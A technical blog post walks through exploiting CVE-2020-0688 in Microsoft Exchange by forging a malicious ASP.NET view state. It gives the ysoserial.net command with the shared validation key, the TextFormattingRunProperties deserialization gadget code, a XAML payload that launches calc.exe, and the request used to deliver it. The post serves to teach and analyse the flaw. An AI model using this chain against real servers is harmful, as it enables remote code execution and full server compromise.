Understanding CVE-2020-0688
The first section of this blog post is meant as a short introduction to CVE-2020-0688
1 to lay the foundation for the great things
in the upcoming sections. If you are already familiar with CVE-2020-0688 you can skip the first section and jump straight into the nitty gritty details of how it works.
Introduction
On February 25th 2020 shortly after Microsoft’s Patch Tuesday, Simon Zuckerbraun from the Zero Day Initiative (ZDI2) published a write-up of CVE-2020-0688 a remote code execution vulnerability in Microsoft Exchange that was reported anonymously to ZDI. The anonymous researcher discovered that Microsoft Exchange uses the same cryptographic keys across all installations. This poses a serious risk for the authenticity and integrity of the view state used by the ASP.NET web application included in Microsoft Exchange.
ASP.NET web applications like the Exchange Control Panel (ECP) make use of the view state mechanism to maintain a page state and persist data in web forms on postbacks. The view state is saved as a hidden form field (__VIEWSTATE
) in the document object model (DOM) delivered by the ASP.NET server to the client (Browser). During the communication between an ASP.NET server and a client the view state is send back and forth between these two parties (NSA not included ;-)). Because HTTP is stateless it wouldn’t be possible for the ASP.NET server to reconstruct the state of web controls after postbacks if there wasn’t the view state.
Another important aspect about the view state is that it gets deserialized on the server-side. Due to this reason it is essential that the client is unable to tamper with the view state, otherwise this would lead to remote code execution on the ASP.NET server. In order to protect the view state from tampering it’s authenticity and integrity is protected by a Keyed-Hash Message Authentication Code (HMAC) (in some cases the view state is even encrypted). In the case of Microsoft Exchange the same key is used to protect the authenticity and integrity across diffrent installations of Microsoft Exchange, which allows the attacker to forge a valid view state that will get deserialized by the server.
Exploitation Stages
In the diagram above you can see an overview of the different stages that the attacker has to go through in order to exploit CVE-2020-0688. The upcoming sections of this blog post are structured based on three stages presented here.
Lab Setup
If you are excited to play around with the public exploits available for CVE-2020-0688 and you are not currently planing to go to jail, it is necessary to setup a vulnerable Microsoft Exchange Server. The following listing shows the lab setup that was used by the author to create the blog post you are currently reading.
- Windows Server 2012 R2
- Microsoft Exchange 2013
- Exchange 2013 Prerequisites
- ysoserial.net: .NET payload generator for deserialization
- dnSpy: .NET Debugger
- TextFormattingRunProperties POC
DISCLAIMER: Never use the content presented on this website to break any laws! If you don’t play by the rules there won’t be any christmas presents this year.
Collect
Before you can exploit Microsoft Exchange Servers vulnerable to CVE-2020-0688 a few preconditions need to be satisfied:
- Know the
validationKey
anddecryptionKey
from theweb.config
file of your target (those values are public) - Know the ASP.NET version in use by the target (View state algorithms differ between ASP.NET versions)
- Get valid credentials to access the Exchange Control Panel (ECP) of the target
- Login to the ECP
/ecp/default.aspx
and collect the ASP.NET SessionId Cookie value - While still logged in collect the
__VIEWSTATEGENERATOR
value from the DOM returned by requesting ECP
The first point from the list is easly satisfied because the validationKey
and decryptionKey
values are the same for all vulnerable Microsoft Exchange Servers. For the sake of completness below you can find the contents of the web.config
file used in the lab setup described in the previous section. The keys and algorithms defined in the web.config
file play an important role during the runtime of an ASP.NET web application. They are managed by an MachineKeySection
object which according to MSDN is responsible for the following tasks:
“Defines the configuration settings that control the key generation and algorithms that are used in encryption, decryption, and message authentication code (MAC) operations in Windows Forms authentication, view-state validation, and session-state application isolation.”.
The MachineKeySection
class provides a method called GetEncodedData()
which we will later use to forge the malicious __VIEWSTATE
as you we will see in the next section.
Secondly, you need to know the ASP.NET version of the target in order to be able to forge a valid view state which gets accepted by an vulnerable Microsoft Exchange Server. This is important because the view state of ASP.NET version < 4.5 (legacy) and ASP.NET version >= 4.5 (new) are computed differently. How to get the ASP.NET version of a remote system you might ask? My answer is “enumerate, enumerate, enumerate, …” until you find it. For my lab machine the ASP.NET version can be seen in the figure below. But please don’t hack me ;-).
The third condition from the list is the hardest to satisfy, because it requires you to have valid credentials to access one of the maliboxes of the target. Keep in mind that the account used doesn’t need to have any special privileges, therefore chances are quite high that you might get lucky during your pentest journey.
The fourth condition from our list requires you to capture the ASP.NET SessionId Cookie assigned to your user during login. This can be achived by looking at the HTTP-Headers in the network tab of the debugging tools of your browser.
// viewStateUserKey is normally the anti-CSRF parameter unless it is the same for all users!
if (viewStateUserKey != null)
{
int count = Encoding.Unicode.GetByteCount(viewStateUserKey);
_macKeyBytes = new byte[count + 4];
Encoding.Unicode.GetBytes(viewStateUserKey, 0, viewStateUserKey.Length, _macKeyBytes, 4);
}
_macKeyBytes[0] = (byte)pageHashCode;
_macKeyBytes[1] = (byte)(pageHashCode >> 8);
_macKeyBytes[2] = (byte)(pageHashCode >> 16);
_macKeyBytes[3] = (byte)(pageHashCode >> 24);
...
The value from the ASP.NET SessionId Cookie represents the viewStateUserKey
which is used as a CSRF mitigation as can be seen in the source code snippet of the view state plugin (../ysoserial/Plugins/ViewStatePlugin.cs
3). Note that the viewStateUserKey
and the __VIEWSTATEGENERATOR
(pageHashCode
) are added to the __macKeyBytes
array that later on is used as input for the HMAC computation.
Finally we need to collect the __VIEWSTATEGENERATOR
value from the Document Object Model (DOM) of the previously requested Exchange Control Panel (ECP). Think of the __VIEWSTATEGENERATOR
as a unique hash representation of the web path requested. This hash value is calculated with the help of the GetNonRandomizedHashCode
function which can be found in the System.Web.Util.StringUtil
class. The inputs for the function are the IIS path (e.g. /
) and the path of the requested page (e.g. /ecp/default.aspx
). The __VIEWSTATEGENERATOR
value combined with the viewStateUserKey
described in the paragraph before are part of the HMAC computation performed while creating a view state.
With the help of the cryptographic parameters viewStateUserKey
and the __VIEWSTATEGENERATOR
the following properites are achived by the ASP.NET web application:
- The
viewStateUserKey
is unique for each user session and is included in the computation of the view state HMAC. Because theviewStateUserKey
is kept secret the attacker is not able to know its value beforehand. Therefore it is impossible for the attacker to create a web form that will trick a victim into requesting a certain action from the backend because that would require the attacker to be able to compute the view state. This provides a sufficient protection against CSRF attacks. - The
__VIEWSTATEGENERATOR
(part of HMAC computation) restricts the view state to the web application it originated from. Therefore it’s not possible to reply the view state of an established session to other parts of the ASP.NET web application.
Forge
After collecting all necessary cryptographic parameters it’s time to forge a malicious __VIEWSTATE
by using a tool called ysoserial.net
. According to the description found on the projects github page, ysoserial.net
4 is “A proof-of-concept tool for generating payloads that exploit unsafe .NET object deserialization”.
The cool part about ysoserial.net
is that it contains a plugin called ViewStatePlugin.cs
that is able to generate view states for ASP.NET version < 4.5 (legacy) and ASP.NET version >= 4.5 (new). In the following you can see how we use the tool ysoserial.net
in combination with the previously collected cryptographic parameters to forge a malicious __VIEWSTATE
.
ysoserial.exe --plugin="ViewState" --islegacy
--validationalg="SHA1"
--validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"
--viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663"
--generator="B97B4E27"
--gadget="TextFormattingRunProperties"
--command="calc.exe"
In the first argument we specify the view state plugin which tells ysoserial.net
that we want to forge a __VIEWSTATE
. The second argument tells ysoserial.net
the type of __VIEWSTATE
we want to forge. We want to generate a legacy __VIEWSTATE
because the ASP.NET version in our lab environment is 4.0 and therefore the view state needs to be in legacy format.
The following two arguments represent the fixed cryptographic parameters which are the root cause of CVE-2020-0688. Note that the hash algorithm used to compute the HMAC of the __VIEWSTATE
is SHA1
. This means that the integrity and authenticity of the __VIEWSTATE
is protected by a Keyed-Hash Message Authentication Code (HMAC) base on SHA1
. The key used to ensure the authenticity is the ValidationKey
. As mentioned earlier the ValidationKey
is the same for all vulnerable Microsoft Exchange Servers, which is the reason why this vulnerablity exists.
The next two arguments are the __VIEWSTATEGENERATOR
and the ViewStateUserKey
. Both values have been collected after logging into the ASP.NET web application (e.g. ECP) part of the vulnerable Exchange Server. If you are not familiar with the purpouse of the two arguments I recommend you to go back to the previous section and refresh your memory. The one importat thing to remember for now is that the two arguments are part of the HMAC computation.
Now it’s time to look into the view state plugin included in ysoserial.net
, so we are able to see exactly how a malicious __VIEWSTATE
is generated.
The plugin is located under /ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs
.
If you browse through ViewStatePlugin.cs
you will notice that the function responsible for generating the malicious __VIEWSTATE
is the one called generateViewStateLegacy_2_to_4()
. In the code listing below you can see a number of functions that are called from generateViewStateLegacy_2_to_4()
to generate the malicious __VIEWSTATE
.
generateViewStateLegacy_2_to_4()
|
+-> MachineKeySection.GetEncodedData()
|
+-> MachineKeySection.HashData()
|
+-> MachineKeySection.GetHMACSHA1Hash()
|
+-> UnsafeNativeMethods.GetHMACSHA1Hash()
The first thing you see when looking at some of the functions called by generateViewStateLegacy_2_to_4()
is that they clearly have something to do with the HMAC computation. Another important detail to notice is that the functions are from the MachineKeySection
5 class which according to MSDN is responsible for handling view-state validation, “Defines the configuration settings that control the key generation and algorithms that are used in encryption, decryption, and message authentication code (MAC) operations in Windows Forms authentication, view-state validation, and session-state application isolation.”.
The malicious __VIEWSTATE
is nothing more than a serialized and base64 encoded Gadget
(we will come back to this later) combined with an HMAC computed from the Gadget
itself and the cryptographic parameters collected in the first stage of our attack.
The diagram below should help you to understand how the HMAC is generated by generateViewStateLegacy_2_to_4()
based on the Gadget
and the cryptographic parameters provided to the function.
Finally the HMAC above is appended to the serialized and base64 encoded Gadget
which represents the malicious __VIEWSTATE
as shown in the following diagram.
At this point you might have noticed that there are still two arguments left from the ysoserial.net
commandline that need some explanation. Those two arguments will be covered in greater detail the upcoming section.
Smash
In the previous section we introduced the vast majority of arguments required by the tool ysoserial.net
to forge a malicious __VIEWSTATE
with the exception of the two arguments gadget
and command
. These two arguments are responsible for providing a means of code execution as we will see in the following paragraphs.
Before we continue let’s remember that our final goal is to execute code on the vulnerable Microsoft Exchange Server, which requires us to send the server a malicious __VIEWSTATE
that, when deserialized on the server-side leads to code execution.
ysoserial.exe ...
--gadget="TextFormattingRunProperties"
--command="calc.exe"
The last argument from the above commandline which is named command
, is responsible for what gets executed when our malicious __VIEWSTATE
is deserialized by the server-side. For demonstration purpouses calc.exe
is used as our final payload but in general the value is only limited by the imagination of the attacker.
But what about this mysterious argument named gadget
which has TextFormattingRunProperties
as its value? As you might have guessed by now the actual magic lies in the class called TextFormattingRunProperties
.
Classes like TextFormattingRunProperties
are regular building blocks of the .NET-Framework with the exception that they provide an indirect (often not intended) way of enabling code execution during deserialization.
When deserializing an serialized object of the type TextFormattingRunProperties
a chain of methods is called on its properties which finally leads to code execution. In technical terms this is often referred to as Gadget chain
. Now let’s take a look at how this gadget can help us in achieving code execution on our Microsoft Exchange Server.
To demonstrate to you what happens when an object of type TextFormattingRunProperties
gets deserialized we will take a look at a proof-of-concept code borrowed from the finders of the gadget Alvaro Muñoz and Oleksandr Mirosh6.
The class below implements the interface ISerializable
which tells us that objects of this type will use a custom way of serialization. When serialzing an object the GetObjectData
method is called implcitly. Inside this method we specify the property ForegroundBrush
as part of the SerializationInfo
object. According to MSDN the SerializationInfo
class is responsible for the storage of all the data that is needed to serialize or deserialize an object. Also note that the type of ForegroundBrush
is defined as TextFormattingRunProperties
and that it uses the variable _xaml
as its value.
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type t = Type.GetType("Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties,
Microsoft.PowerShell.Editor,
Version=3.0.0.0,
Culture=neutral,
PublicKeyToken=31bf3856ad364e35");
info.SetType(t);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string xaml)
{
_xaml = xaml;
}
}
The complete source code of this example can be found here.
Before we are able to execute arbitrary commands with the help of the class presented above we first need to define the variable payload
of type string
which will contain the following XAML. If this doesn’t make any sense to you right now don’t worry we will shortly provide you with an detailed explanation of whats going on here.
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="RunCalc" ObjectType = "{ x:Type Diag:Process }" MethodName = "Start">
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>/c calc.exe </System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
What follows next is that we create an object of type TextFormattingRunPropertiesMarshal
and provide its constructor the previously defined payload
variable which contains the XAML specified above. In the subsequent lines we see how the object is first serialized and then deserialized immediately. For the purpouse of serialization/deserialization we use the class LosFormatter
7. This class is used by ASP.NET web applications to serialize/deserialize the view state.
Object obj = new TextFormattingRunPropertiesMarshal(payload);
LosFormatter fmt = new LosFormatter();
MemoryStream ms = new MemoryStream();
fmt.Serialize(ms, obj);
ms.Position = 0;
fmt.Deserialize(ms);
When you compile and execute the binary from this c-sharp proof-of-conecept code (POC) a calculator will somehow magically appear as can be seen in the following figure.
In order to understand what happened until this point we need to take a step back and look at some of the properties of the gadget TextFormattingRunProperties
. The first thing to notice when looking at the gadget class is that it contains a Serializable
attribute and that the class implements an interface of type ISerializable
. This tells us that the gadget class will implement a custom form of serialization/deserialization.
[System.Serializable]
public sealed class TextFormattingRunProperties :
System.Windows.Media.TextFormatting.TextRunProperties,
System.Runtime.Serialization.IObjectReference,
System.Runtime.Serialization.ISerializable
The next thing we will have a look at are methods which belong to the gadget class and have something to do with serialization. As you can see in the figure below the gadget class implements its own GetObjectData()
method as demanded by the ISerializable
interface. The interesting part from the method description is the mentioning of the class XamlWriter
. This is a clear sign that objects created from our gadget class a serialized and deserialized with the help of XamlWriter
and XamlReader
.
Remember what happens when a custom .NET object gets deserialized? No!? Let me help you. The answer is that a special constructor is called which in the case of our gadget class TextFormattingRunProperties
looks as follows:
TextFormattingRunProperties.ctor(SerializationInfo, StreamingContext)
Inside this special constructor used for deserialization purposes a method named GetObjectFromSerializationInfo()
is called on each property of our gadget class that needs to be deserialized. The serialized properties are retrieved from the SerializationInfo
object passed to the method.
In the figure above you can see what happens inside the method GetObjectFromSerializationInfo()
. Note that the method XamlReader.Parse()
is called on the property ForegroundBrush
which contains the XAML we have seen before.
What happend so far is that we attempted to deserialize the gadget of type TextFormattingRunProperties
with the help of LosFormatter
. During deserialization each object of a specific type that is part of the object graph gets deserialized in its intended way. This involves calling the specialized constructor introduced earlier in this section. The result of calling the specialized constructor is that XamlReader.Parse()
will be called on each property of class such as ForegroundBrush
. The magic begins when we pass the contents of ForegroundBrush
(XAML) into the Parse()
method.
At this point XamlReader.Parse()
will take care of the XAML content present in the property ForegroundBrush
. After parsing the XAML definitions an object of type ObjectDataProvider
will be instantiated. The class ObjectDataProvider
is responsible for creating an object that can be used as a binding source for Windows Presentation Foundation (WPF) application GUI elements.
A binding source can be described as the association between an GUI element (e.g. WPF Window) and a method which is responsible for creating or fetching data used by that GUI element. This association is described in XAML. The best part about ObjectDataProviders
from an attackers point of view is that they provide a way to execute code on a target that can be tricked into calling XamlReader.Parse()
on a malicious ObjectDataProviders
XAML definition.
Guess what!? This is exactly what is happening in our example! As we will explorer in the next section.
Wrapping it all up
We are first defining a malicious ObjectDataProvider
(in XAML) that gets assigned to our payload
variable which in turn becomes part of the ForegroundBrush
property of our gadget class TextFormattingRunProperties
.
In the second step we serialize our gadget class with the help of the formatter LosFormatter
. Based on the serialized gadget and the cryptographic parameters introduced in one of the previous sections an HMAC is computed which is then appended to the serialized gadget. The resulting structure is called view state.
In the next step the malicious __VIEWSTATE
is send back the the vulnerable ASP.NET web application part of Microsoft Exchange. The HTTP GET-Request is shown below.
/ecp/default.aspx?__VIEWSTATEGENERATOR=<value>&__VIEWSTATE=<value>
After receiving the view state the ASP.NET web application uses the LosFormatter.Deserialize()
method to deserialize its contents.
public object Deserialize(string input) {
#if NO_BASE64
char[] data = input.ToCharArray();
#else
byte[] dataBytes = Convert.FromBase64String(input);
int dataLength = -1;
if (EnableViewStateMac) {
try {
dataBytes = MachineKeySection.GetDecodedData(dataBytes, _macKey, 0, dataBytes.Length, ref dataLength);
}
catch (Exception e) {
PerfCounters.IncrementCounter(AppPerfCounter.VIEWSTATE_MAC_FAIL);
ViewStateException.ThrowMacValidationError(e, input);
}
}
...
The LosFormatter
uses the specialized constructor of the serialized TextFormattingRunProperties
object to deserialize its properties. Additionally the ForegroundBrush
which holds the malicious ObjectDataProvider
(in XAML) gets passed into XamlReader.Parse()
as part of a a function call to GetObjectFromSerializationInfo()
(Boooom!!!).
Finally the ObjectDataProvider
object gets instantiated, and the method System.Diagnostics.Process.start()
from System.dll
is invoked with the help of another method called ObjectDataProvider.InvokeMethodOnInstance()
as can be seen in the figure above. The start()
method is used to execute cmd.exe
with the commandline /c calc.exe
. This results in the creation of a calc.exe
process or a full compromise of the targeted Microsoft Exchange Server.
Want to see something else added? Open an issue.